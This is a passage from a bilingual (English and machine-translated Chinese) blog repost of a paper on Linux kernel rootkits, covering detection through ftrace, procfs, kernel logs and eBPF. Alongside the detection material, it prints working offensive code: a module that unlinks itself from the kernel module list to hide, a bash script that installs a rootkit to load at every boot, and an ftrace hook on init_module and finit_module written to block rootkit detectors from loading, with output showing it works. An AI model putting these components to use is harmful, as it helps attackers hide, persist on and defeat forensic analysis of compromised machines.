__x64_sys_bpf (1) R I     M     tramp: 0xffffffffc1019000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
bpf_lsm_file_open (1) R   D   M     tramp: ftrace_regs_caller+0x0/0x65 (call_direct_funcs+0x0/0x20)
    direct-->bpf_trampoline_6442508438+0x0/0xf1
__x64_sys_read (1) R I     M    tramp: 0xffffffffc1017000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
vfs_statx (1) R I     M     tramp: 0xffffffffc1035000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
filldir64 (1) R I     M     tramp: 0xffffffffc102f000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
filldir (1) R I     M   tramp: 0xffffffffc102d000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
tty_read (1) R I     M  tramp: 0xffffffffc1031000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
tcp4_seq_show (1) R I     M     tramp: 0xffffffffc101b000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
udp4_seq_show (1) R I     M     tramp: 0xffffffffc101d000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
udp6_seq_show (1) R I     M     tramp: 0xffffffffc1021000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
tcp6_seq_show (1) R I     M     tramp: 0xffffffffc101f000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
packet_rcv (1) R I     M    tramp: 0xffffffffc1023000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
tpacket_rcv (1) R I     M   tramp: 0xffffffffc1025000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
dumbledore@infect:~$

Checking ‘touched_functions’ is also really good, because, just like ‘enabled_functions’, an LKM rootkit using ftrace for hooking is unlikely to hide from ‘touched_functions’, which basically shows all functions that were ever traced by ftrace or a direct trampoline (only for kernel 6.4+).
检查“touched_functions”也非常好,因为就像“enabled_functions”一样,使用 ftrace 进行挂钩的 LKM rootkit 不太可能隐藏“touched_functions”,它基本上显示了 ftrace 或直接蹦床跟踪过的所有函数(仅对于内核 6.4+)。

dumbledore@infect:~$ sudo cat /sys/kernel/tracing/touched_functions
__x64_sys_clone (1) R I     M   tramp: 0xffffffffc0ff4000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
__x64_sys_exit_group (1) R I     M  tramp: 0xffffffffc0fe9000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
proc_dointvec (1) R I     M     tramp: 0xffffffffc1033000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
__x64_sys_kill (1) R I     M    tramp: 0xffffffffc0ff6000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
account_system_time (1) R I     M   tramp: 0xffffffffc1029000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
account_process_tick (1) R I     M  tramp: 0xffffffffc1027000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
kallsyms_lookup_name (0)            ->arch_ftrace_ops_list_func+0x0/0x1e0
audit_log_start (1) R I     M   tramp: 0xffffffffc102b000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
__x64_sys_bpf (1) R I     M     tramp: 0xffffffffc1019000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
bpf_lsm_file_open (1) R   D   M     tramp: ftrace_regs_caller+0x0/0x65 (call_direct_funcs+0x0/0x20)
    direct-->bpf_trampoline_6442508438+0x0/0xf1
__x64_sys_read (1) R I     M    tramp: 0xffffffffc1017000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
vfs_statx (1) R I     M     tramp: 0xffffffffc1035000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
filldir64 (1) R I     M     tramp: 0xffffffffc102f000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
filldir (1) R I     M   tramp: 0xffffffffc102d000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
tty_read (1) R I     M  tramp: 0xffffffffc1031000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
tcp4_seq_show (1) R I     M     tramp: 0xffffffffc101b000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
udp4_seq_show (1) R I     M     tramp: 0xffffffffc101d000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
udp6_seq_show (1) R I     M     tramp: 0xffffffffc1021000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
tcp6_seq_show (1) R I     M     tramp: 0xffffffffc101f000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
packet_rcv (1) R I     M    tramp: 0xffffffffc1023000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
tpacket_rcv (1) R I     M   tramp: 0xffffffffc1025000 (0xffffffffc0fc3f60) ->ftrace_ops_assist_func+0x0/0xf0
dumbledore@infect:~$

3.2 - procfs

Even though it is easy for most rootkits to hide from procfs, it is still quite useful.
尽管大多数 Rootkit 很容易从 procfs 中隐藏,但它仍然非常有用。

Checking ‘/proc/kallsyms’ is one of them. Of course, for a rootkit to hide from it, it’s really easy, but it still leaves traces there. Below is an example using ‘diamorphine’ for this.
检查“/proc/kallsyms”就是其中之一。当然,对于 rootkit 来说,隐藏它确实很容易,但它仍然会在那里留下痕迹。以下是使用“二吗啡”的示例。

dumbledore@infect:~$ sudo insmod diamorphine.ko
dumbledore@infect:~$ lsmod|grep diamorphine
dumbledore@infect:~$
dumbledore@infect:~$ sudo cat /proc/kallsyms|grep diamorphine
ffffffffc1152010 T diamorphine_init [diamorphine]
dumbledore@infect:~$

Checking ‘/proc/sys/kernel/tainted’ is also very valid, since most LKM rootkits can never hide from tainted, which indicates the ‘contamination’ state of the kernel, signaling modifications or errors. In other words, when a rootkit without a signature is loaded, it ‘contaminates’ the kernel’s state. I’ll use diamorphine itself to demonstrate this.
检查“/proc/sys/kernel/tainted”也非常有效,因为大多数 LKM rootkit 永远无法隐藏 tainted,这表明内核的“污染”状态,发出修改或错误信号。换句话说,当加载没有签名的 rootkit 时,它会“污染”内核的状态。我将使用二吗啡本身来证明这一点。

dumbledore@infect:~$ sudo insmod diamorphine.ko
dumbledore@infect:~$ lsmod|grep diamorphine
dumbledore@infect:~$
dumbledore@infect:~$ sudo cat /proc/kallsyms|grep diamorphine
ffffffffc1152010 T diamorphine_init [diamorphine]
dumbledore@infect:~$
dumbledore@infect:~$ sudo cat /proc/sys/kernel/tainted
12288
dumbledore@infect:~$

Notice that there is a number there, which is 12288, indicating that the current state of the kernel has been contaminated, signaling the presence of modules without a signature. For a forensic analyst or someone who will examine the compromised machine, this is a strong indication that there is a rootkit on the machine.
请注意,那里有一个数字,即 12288,表示内核的当前状态已被污染,表明存在没有签名的模块。对于取证分析师或将检查受感染机器的人员来说,这强烈表明该机器上存在 Rootkit。

3.3 - logs

Certainly, when an attacker is using an LKM rootkit, they will erase the logs. However, even if they delete some logs, there are still logs that most rootkit users probably don’t know exist.
当然,当攻击者使用LKM rootkit时,他们会删除日志。然而,即使他们删除了一些日志,仍然有大多数 Rootkit 用户可能不知道其存在的日志。

The device ‘/dev/kmsg’ is one of them, for example, which is a device for sending and reading real-time kernel messages. Even if you delete the dmesg logs using ‘dmesg -C’, or delete the logs in ‘/var/log/kern.log’, the taint message (‘module verification failed: signature and/or required key missing - tainting kernel’), which indicates that the kernel has been ‘contaminated’ for some reasons—one being that the LKM is not part of the official set of kernel modules, and another being that the kernel was unable to verify the module’s signature—will still appear in ‘/dev/kmsg’.
例如,设备“/dev/kmsg”就是其中之一,它是用于发送和读取实时内核消息的设备。即使您使用“dmesg -C”删除 dmesg 日志,或删除“/var/log/kern.log”中的日志,污点消息(“模块验证失败:签名和/或所需密钥丢失 - 污染内核” ),这表明内核由于某些原因而被“污染”——一个是 LKM 不是官方内核模块集的一部分,另一个是内核无法验证模块的签名——仍然会出现在“/dev/kmsg”中。

There’s also ‘journalctl -k’, which few people check when it comes to logs. It basically shows the kernel logs captured by systemd-journald. It’s no use deleting the logs from ‘dmesg’ and ‘/var/log/kern.log’ if the logs still show up in ‘journalctl -k’.”
还有“journalctl -k”,很少有人在涉及日志时检查它。它基本上显示了 systemd-journald 捕获的内核日志。如果日志仍然显示在“journalctl -k”中,那么从“dmesg”和“/var/log/kern.log”中删除日志是没有用的。

3.4 - 使用 eBPF Tracepoints 进行 Rootkit 检测。Rootkit detection with eBPF Tracepoints

Without a doubt, using eBPF for LKM rootkit detection is very good and effective, especially against modern rootkits.
毫无疑问,使用 eBPF 进行 LKM Rootkit 检测非常好且有效,尤其是针对现代 Rootkit。

An example of this is creating tracepoints, for instance:
创建跟踪点就是一个例子,例如:

  • sudo bpftrace -e ‘tracepoint:syscalls:sys_enter_mkdir { printf(“PID: %d, Directory Created: %s\n”, pid, str(args->pathname)); }’
    sudo bpftrace -e 'tracepoint:syscalls:sys_enter_mkdir { printf(“PID: %d, 创建目录: %s\n”, pid, str(args->pathname)); }'

This will detect and print the name of the directory created when a directory is created.
这将检测并打印创建目录时创建的目录的名称。

Another example is when someone tries to load an LKM. This can also be monitored using bpftrace:
另一个例子是当有人尝试加载 LKM 时。也可以使用 bpftrace 进行监控:

  • sudo bpftrace -e ‘tracepoint:module:module_load { printf(“Module loaded: %s\n”, str(args->name)); }’
    sudo bpftrace -e 'tracepoint:module:module_load { printf(“模块已加载:%s\n”, str(args->name)); }'

Now, when someone tries to load an LKM, it will print the module name.
现在,当有人尝试加载 LKM 时,它会打印模块名称。

Another example is monitoring sys_enter_chdir:
另一个例子是监视 sys_enter_chdir:

  • sudo bpftrace -e ‘tracepoint:syscalls:sys_enter_chdir { printf(“PID: %d, Changing to directory: %s\n”, pid, str(args->filename)); }’
    sudo bpftrace -e 'tracepoint:syscalls:sys_enter_chdir { printf(“PID: %d, 更改到目录: %s\n”, pid, str(args->filename)); }'

This will print the directory change when someone tries to change directories.
当有人尝试更改目录时,这将打印目录更改。

To check the list of kernel tests or tests in a program, simply check at:
要检查内核测试或程序中的测试列表,只需检查:

  • sudo bpftrace -l 须藤 bpftrace -l

I believe that using eBPF for detection is one of the best ways to detect LKM rootkits, because even with LKM hunters using detection techniques, it is still possible to avoid them.
我相信使用 eBPF 进行检测是检测 LKM Rootkit 的最佳方法之一,因为即使 LKM 猎人使​​用检测技术,仍然可以避免它们。

4 - 使 LKM rootkit 可见。Make an LKM rootkit visible

It is entirely possible to make an LKM rootkit. If a rootkit uses functions to make the module visible again, you can take advantage of that to make it visible.
制作 LKM rootkit 是完全有可能的。如果 rootkit 使用函数使模块再次可见,您可以利用它来使其可见。

Here we have a very simple C code:
这里我们有一个非常简单的 C 代码:

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/list.h>
#include <linux/slab.h>

struct module_entry {
    struct list_head list;
    char *name;
    void *address;
};

static LIST_HEAD(module_list);

static void add_entry(char *name, void *address) {
    struct module_entry *mod;
    mod = kmalloc(sizeof(struct module_entry), GFP_KERNEL);
    if (!mod) {
        printk(KERN_ERR "Deu ruimkjkj.\n");
        return;
    }
    mod->name = name;
    mod->address = address;
    list_add_tail(&mod->list, &module_list);
}

static void magick_lol(void) {
    struct module_entry *entry;
    list_for_each_entry(entry, &module_list, list) {
        if (strcmp(entry->name, "module_show") == 0) {

            ((void (*)(void))entry->address)();
            break;
        }
    }
}

static int __init lkm_init(void) {
    add_entry("module_show", (void *)0xffffffffc09fbfa0); //endereço da função module_show
    magick_lol();

    return 0;
}

static void __exit lkm_exit(void) {
	printk(KERN_INFO "Qlq coisa kkjkjkjk\n");
}

MODULE_LICENSE("GPL");
MODULE_AUTHOR("matheuz");
MODULE_DESCRIPTION("Sem descrição kkjkjk");
MODULE_VERSION("1.0");

module_init(lkm_init);
module_exit(lkm_exit);

In short, this simple code creates a linked list of structures called “module_entry” that has the name and address of the brokepkg function.
简而言之,这段简单的代码创建了一个名为“module_entry”的结构链接列表,其中包含brokenpkg函数的名称和地址。

It adds an entry to the function that makes brokepkg visible again, called “module_show” with its address, then it calls the function called “magick_lol()” that searches for this entry in the list and if found, calls the function associated with she.
它向函数添加一个条目,使brokenpkg再次可见,称为“module_show”及其地址,然后调用名为“magick_lol()”的函数,该函数在列表中搜索该条目,如果找到,则调用与she关联的函数。

After the LKM is inserted, you can look in lsmod that brokepkg has become visible again, in which you can use rmmod to remove the LKM.
插入LKM后,您可以在lsmod中查看brokenpkg再次可见,其中您可以使用rmmod删除LKM。

root@infect:~/leviathan# lsmod|grep brokepkg
root@infect:~/leviathan# cat /sys/kernel/tracing/available_filter_functions_addrs |grep module_show
ffffffffc0abafa0 module_show [brokepkg]
root@infect:~/leviathan# cat /sys/kernel/tracing/available_filter_functions |grep module_show
module_show [brokepkg]
root@infect:~/leviathan# insmod leviathan.ko
root@infect:~/leviathan# lsmod|grep brokepkg
brokepkg              159744  0
root@infect:~/leviathan#

Well, this is one of the ways to make an LKM rootkit visible again, of course this is not 100% effective, and there are some ways to avoid this kind of thing and protect the rootkit, they are:
嗯,这是让 LKM rootkit 再次可见的方法之一,当然这不是 100% 有效,有一些方法可以避免这种事情并保护 rootkit,它们是:

1 - Do not implement a method to make the rootkit visible.
1 - 不要实施使 Rootkit 可见的方法。

This documentation will also help a lot if you want to learn more about tracing.
如果您想了解有关跟踪的更多信息,此文档也会有很大帮助。

5 - 使 LKM rootkit 完全无用。Making an LKM rootkit completely useless

Most LKM rootkits that run on newer kernel versions use ftrace.
大多数在较新内核版本上运行的 LKM rootkit 使用 ftrace。

What most people don’t know (I think) is that there is a way to disable ftrace on the machine, making any LKM rootkit that uses ftrace completely unusable, even when loaded and invisible.
大多数人不知道(我认为)的是,有一种方法可以在机器上禁用 ftrace,从而使任何使用 ftrace 的 LKM rootkit 完全无法使用,即使在加载和不可见时也是如此。

root@infect:~/1337# mkdir br0k3_n0w_h1dd3n
root@infect:~/1337# ls
root@infect:~/1337# echo 0 > /proc/sys/kernel/ftrace_enabled
root@infect:~/1337# ls
br0k3_n0w_h1dd3n
root@infect:~/1337#
root@infect:~/1337#
root@infect:~/1337# echo 1 > /proc/sys/kernel/ftrace_enabled
root@infect:~/1337# ls
root@infect:~/1337#
root@infect:~/1337# ls
root@infect:~/1337# sysctl kernel.ftrace_enabled=0
kernel.ftrace_enabled = 0
root@infect:~/1337# ls
br0k3_n0w_h1dd3n
root@infect:~/1337# sysctl kernel.ftrace_enabled=1
kernel.ftrace_enabled = 1
root@infect:~/1337# echo 0 > /sys/kernel/debug/kprobes/enabled
root@infect:~/1337# ls
root@infect:~/1337#

This is also a way to make an LKM rootkit “useless”, preventing it from performing any action, as most current and public rootkits use ftrace. Of course, this is not 100% foolproof, as you just need to turn ftrace back on. However, many people don’t know (I think) that it is possible to disable ftrace on the machine. Despite this, disabling ftrace and trying to analyze the machine looking for suspicious processes, directories, etc., is still ineffective.
这也是使 LKM Rootkit“无用”的一种方法,阻止其执行任何操作,因为大多数当前和公共 Rootkit 使用 ftrace。当然,这并不是 100% 万无一失,因为您只需要重新打开 ftrace 即可。然而,很多人不知道(我认为)可以在机器上禁用 ftrace。尽管如此,禁用 ftrace 并尝试分析机器寻找可疑进程、目录等仍然无效。

6 - 隐藏 LKMs 函数以防止跟踪和/proc/kallsyms。Hiding an LKM functions from tracing and /proc/kallsyms

Hiding an LKM from tracing is relatively easy, with some specific techniques, we can also manipulate the way functions are registered and exposed in the kernel tracing system.
从跟踪中隐藏 LKM 相对容易,通过一些特定的技术,我们还可以操纵函数在内核跟踪系统中注册和公开的方式。

A method that helps a lot with this is to use static or notrace functions, like this code here:
对此有很大帮助的方法是使用静态或 notrace 函数,如下代码所示:

root@infect:~/hidden_func# cat lkm.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>

static void mtz(void) {
    printk(KERN_INFO "So eh um pequeno exemplo! Func escondida.\n");
}

static int __init inferi_init(void) {
    printk(KERN_INFO "LKM carregadoo!\n");
    mtz();
    list_del(&THIS_MODULE->list);
    return 0;
}

static void __exit inferi_exit(void) {
    printk(KERN_INFO "LKM removido!!\n");
}

module_init(inferi_init);
module_exit(inferi_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("et bilu");
MODULE_DESCRIPTION("brazilian phonk estragou o phonk.");
root@infect:~/hidden_func#

In the example above, “mtz” is a static function that will not be exported and therefore will not appear in the list of functions available for tracing. Being prevented from registering it as a tracepoint.
在上面的示例中,“mtz”是一个静态函数,不会导出,因此不会出现在可用于跟踪的函数列表中。无法将其注册为跟踪点。

root@infect:~/hidden_func# insmod lkm.ko
root@infect:~/hidden_func# lsmod|grep lkm
root@infect:~/hidden_func# cat /sys/kernel/tracing/available_filter_functions|grep lkm
root@infect:~/hidden_func# cat /sys/kernel/tracing/available_filter_functions|grep mtz
root@infect:~/hidden_func#
root@infect:~/hidden_func#
root@infect:~/hidden_func# cat /proc/kallsyms|grep lkm
ffffffffc0b69010 T inferi_init	[lkm]
root@infect:~/hidden_func# cat /proc/kallsyms|grep mtz
ffffffff911f8300 T _RNvXsa_NtCs3AkgXgqgK6r_4core3fmtzNtB5_5Debug3fmt
ffffffff911f8300 T _RNvXsb_NtCs3AkgXgqgK6r_4core3fmtzNtB5_7Display3fmt
ffffffff9253527c r __ksymtab__RNvXsa_NtCs3AkgXgqgK6r_4core3fmtzNtB5_5Debug3fmt
ffffffff9253533c r __ksymtab__RNvXsb_NtCs3AkgXgqgK6r_4core3fmtzNtB5_7Display3fmt
root@infect:~/hidden_func#

And that’s it, hidden function!
就是这样,隐藏功能!

7 - 即使重启机器,LKM Rootkit 的持续化。Persistence with LKM Rootkit even after reboot machine

I will show a good persistence method using “/etc/modules-load.d/”.
我将使用“/etc/modules-load.d/”展示一个好的持久化方法。

#!/bin/bash

if [ "$(id -u)" -ne 0 ]; then
    echo "This script must be run as root."
    exit 1
fi

read -p "Enter the full path to the *.ko: " ROOTKIT_PATH

if [ ! -f "$ROOTKIT_PATH" ]; then
    echo "Error: '$ROOTKIT_PATH' was not found."
    exit 1
fi

read -p "Enter the name of the rootkit (without .ko): " ROOTKIT_NAME

CONF_DIR="/etc/modules-load.d"
MODULE_DIR="/usr/lib/modules/$(uname -r)/kernel"

echo "Copying $ROOTKIT_PATH to $MODULE_DIR..."
mkdir -p "$MODULE_DIR"
cp "$ROOTKIT_PATH" "$MODULE_DIR/$ROOTKIT_NAME.ko"

echo "Running depmod..."
depmod

echo "Configuring the module to load on startup..."
echo "$ROOTKIT_NAME" > "$CONF_DIR/$ROOTKIT_NAME.conf"

echo "$ROOTKIT_NAME will be loaded automatically at startup."

This script essentially makes an LKM load automatically whenever the system is started. It copies the module to the directory ‘/usr/lib/modules/$(uname -r)/kernel’ and makes the necessary configuration to have it loaded at boot by modifying configuration files in ‘/etc/modules-load.d’. This way, the rootkit will be loaded every time the system restarts.
该脚本本质上是在系统启动时自动加载 LKM。它将模块复制到目录“/usr/lib/modules/$(uname -r)/kernel”,并通过修改“/etc/modules-load.d”中的配置文件进行必要的配置,使其在启动时加载。 。这样,每次系统重新启动时都会加载rootkit。

And, of course, if you go to the directory ‘/usr/lib/modules/$(uname -r)/kernel’, you will find the .ko file of your rootkit there. But that’s not the main concern, because it’s possible to implement a hook to hide the rootkit’s name, and even if you go to this directory, the file will be invisible. The same applies to ‘/etc/modules-load.d/’.
当然,如果您进入目录“/usr/lib/modules/$(uname -r)/kernel”,您会在那里找到 rootkit 的 .ko 文件。但这不是主要问题,因为可以实现一个钩子来隐藏 rootkit 的名称,并且即使您进入该目录,该文件也将是不可见的。这同样适用于“/etc/modules-load.d/”。

8 - 为保护 LKM Rootkits 对抗LKM rootkit 检测器。Protecting LKM Rootkits against LKM Rootkit hunters

Protecting your LKM rootkit is essential against LKM rootkit hunters, such as ‘ModTracer’ (which I wrote), and also ‘nitara2’, which is a great LKM rootkit detector.
保护您的 LKM rootkit 对于 LKM rootkit 猎人至关重要,例如“ModTracer”(我编写的)和“nitara2”,这是一个很棒的 LKM rootkit 检测器。

Protecting an LKM rootkit against this is actually very easy; you just need to hook the finit_module and init_module functions.
保护 LKM rootkit 免受此攻击实际上非常简单;你只需要挂钩 finit_module 和 init_module 函数。

#include <linux/module.h>
#include <linux/kernel.h>
#include "ftrace_helper.h"

MODULE_LICENSE("GPL");
MODULE_AUTHOR("matheuzsec");
MODULE_DESCRIPTION("Hooking init_module and finit_module");
MODULE_VERSION("1.0");

static asmlinkage long (*hooked_init_module)(struct file *file, const char *uargs, unsigned long flags);
static asmlinkage long (*hooked_finit_module)(struct file *file, const char *uargs, unsigned long flags);

static asmlinkage long hook_init_module(struct file *file, const char *uargs, unsigned long flags) {
    return 0;
}

static asmlinkage long hook_finit_module(struct file *file, const char *uargs, unsigned long flags) {
    return 0;
}

static struct ftrace_hook hooks[] = {
    HOOK("__x64_sys_init_module", hook_init_module, &hooked_init_module),
    HOOK("__x64_sys_finit_module", hook_finit_module, &hooked_finit_module),
};

static int __init insmod_init(void) {
    int err;

    err = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
    if (err) {
        return err;
    }

    return 0;
}

static void __exit insmod_exit(void) {
    fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
}

module_init(insmod_init);
module_exit(insmod_exit);

The logic and functionality of the code above is actually very simple.
上面代码的逻辑和功能其实非常简单。

It works by replacing them with functions that return 0. Returning 0 indicates success, but by doing so, it blocks the execution of the original logic needed to load other LKMs, thus preventing the loading of new modules.
它的工作原理是将它们替换为返回 0 的函数。返回 0 表示成功,但这样做会阻止加载其他 LKM 所需的原始逻辑的执行,从而阻止加载新模块。

dumbledore@infect:~$ sudo insmod insmod.ko && sudo dmesg -C
dumbledore@infect:~$
dumbledore@infect:~$ sudo insmod modtracer.ko
dumbledore@infect:~$
dumbledore@infect:~$ dmesg
dumbledore@infect:~$ lsmod|grep modtracer
dumbledore@infect:~$

And that’s it, now you can implement this to protect your rootkit.
就是这样,现在您可以实施它来保护您的 rootkit。

9 - eBPF 在检测 rootkit 中的力量。The power of eBPF in detecting rootkits

In my opinion, detection of more modern LKM rootkits can be accomplished in a few ways using features like eBPF. Projects such as Aqua Security’s tracee and bpf-hookdetect are the most effective in this regard, easily identifying the syscalls that are being hooked. It is important to remember that these tools are only aimed at detection, mitigation is still very complex and is an open field of study. I believe that using eBPF to detect hooked syscalls is one of the best approaches currently, remembering that eBPF can also be used to create rootkits/hookar syscalls, and here are two tools that I consider very useful in this detection aspect:
在我看来,可以使用 eBPF 等功能通过多种方式来检测更现代的 LKM rootkit。 Aqua Security 的 Tracee 和 bpf-hookDetect 等项目在这方面是最有效的,可以轻松识别正在挂钩的系统调用。重要的是要记住,这些工具仅用于检测,缓解仍然非常复杂,并且是一个开放的研究领域。我相信使用 eBPF 来检测 hooked 系统调用是目前最好的方法之一,记住 eBPF 也可以用于创建 rootkit/hookar 系统调用,这里有两个我认为在检测方面非常有用的工具:

10 - 资源。Resources

To see more content like this, I recommend joining my rootkit community on discord: https://discord.gg/66N5ZQppU7
要查看更多此类内容,我建议加入我的 discord 上的 rootkit 社区: https: //discord.gg/66N5ZQppU7

11 - 最终考虑。Final Considerations

Rootkits in itself is a very interesting subject, especially when it comes to detection and mitigation, as it is very complex, and it is also a very open field of study, with several ideas and very cool topics to talk about, anyway, I hope If you liked it, please Any feedback or questions, don’t hesitate to contact me on Twitter (@MatheuzSecurity) or contact Humzak711 on discord (serpentsobased). Thanks for taking the time to read!
Rootkits本身是一个非常有趣的主题,尤其是在检测和缓解方面,因为它非常复杂,而且它也是一个非常开放的研究领域,有几个想法和非常酷的话题可以讨论,无论如何,我希望如果您喜欢它,请有任何反馈或问题,请随时在 Twitter (@MatheuzSecurity) 上与我联系,或在 Discord (serpentsobased) 上联系 Humzak711。感谢您抽出时间阅读!

root@infect:~# rmmod inferi
root@infect:~# dmesg
[ 1337.001337]
[ 1337.001337]      .  . '    .
[ 1337.001337]      '   .            . '            .                +
[ 1337.001337]              `                          '    . '
[ 1337.001337]        .                         ,'`.                         .
[ 1337.001337]   .                  .."    _.-;'    `.              .
[ 1337.001337]              _.-"`.##%"_.--" ,'        `.           "#"     ___,,od000
[ 1337.001337]           ,'"-_ _.-.--"\   ,'            `-_       '%#%',,/////00000HH
[ 1337.001337]         ,'     |_.'     )`/-     __..--""`-_`-._    J L/////00000HHHHM
[ 1337.001337] . +   ,'   _.-"        / /   _-""           `-._`-_/___\///0000HHHHMMM
[ 1337.001337]     .'_.-""      '    :_/_.-'   INFERIGANG    _,`-/__V__\0000HHHHHMMMM
[ 1337.001337] . _-""                         .        '   _,////\  |  /000HHHHHMMMMM
[ 1337.001337]_-"   .       '  +  .              .        ,//////0\ | /00HHHHHHHMMMMM
[ 1337.001337]       `                                   ,//////000\|/00HHHHHHHMMMMMM
[ 1337.001337].             '       .  ' .   .       '  ,//////00000|00HHHHHHHHMMMMMM
[ 1337.001337]     .             .    .    '           ,//////000000|00HHHHHHHMMMMMMM
[ 1337.001337]                  .  '      .       .   ,///////000000|0HHHHHHHHMMMMMMM
[ 1337.001337]  '             '        .    '         ///////000000000HHHHHHHHMMMMMMM
[ 1337.001337]                    +  .  . '    .     ,///////000000000HHHHHHHMMMMMMMM
[ 1337.001337]     '      .              '   .       ///////000000000HHHHHHHHMMMMMMMM
[ 1337.001337]   '                  . '              ///////000000000HHHHHHHHMMMMMMMM
[ 1337.001337]                           .   '      ,///////000000000HHHHHHHHMMMMMMMM
[ 1337.001337]       +         .        '   .    .  ////////000000000HHHHHHHHMMMMMMhs
[ 1337.001337]
[ 1337.001337]        Paper by Matheuz & Humzak711
[ 1337.001337]
[ 1337.001337]
root@infect:~# kill `ps aux`;
Connection to 1337rootkit closed.
posted @   DirWangK  阅读(69)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
历史上的今天:
2020-01-16 c++ 反汇编 继承
点击右上角即可分享
微信分享提示
目录导航
目录导航
[机翻]Linux 内核 Rootkit 的艺术
[机翻]Linux 内核 Rootkit 的艺术
1 - 什么是rootkit?1 - What is a rootkit?
1.1 - 什么是内核?用户态和内核态的区别。What is a kernel? Differences between userland and kernel land.
1.2 - 什么是系统调用?What is a system call (Syscalls)?
1.3 - 用户空间 rootkit。Userland rootkits.
1.4 - 内核rootkit。Kernel land rootkits.
2 - 现代hook技术。Modern hooking techniques
2.1 - ftrace
2.2 - kprobe
2.3 - eBPF
3 - LKM rootkit 检测。LKM rootkit detection
3.1 - sysfs
3.2 - procfs
3.3 - logs
3.4 - 使用 eBPF Tracepoints 进行 Rootkit 检测。Rootkit detection with eBPF Tracepoints
4 - 使 LKM rootkit 可见。Make an LKM rootkit visible
5 - 使 LKM rootkit 完全无用。Making an LKM rootkit completely useless
6 - 隐藏 LKMs 函数以防止跟踪和/proc/kallsyms。Hiding an LKM functions from tracing and /proc/kallsyms
7 - 即使重启机器,LKM Rootkit 的持续化。Persistence with LKM Rootkit even after reboot machine
8 - 为保护 LKM Rootkits 对抗LKM rootkit 检测器。Protecting LKM Rootkits against LKM Rootkit hunters
9 - eBPF 在检测 rootkit 中的力量。The power of eBPF in detecting rootkits
10 - 资源。Resources
11 - 最终考虑。Final Considerations
发布于 2025-01-16 20:41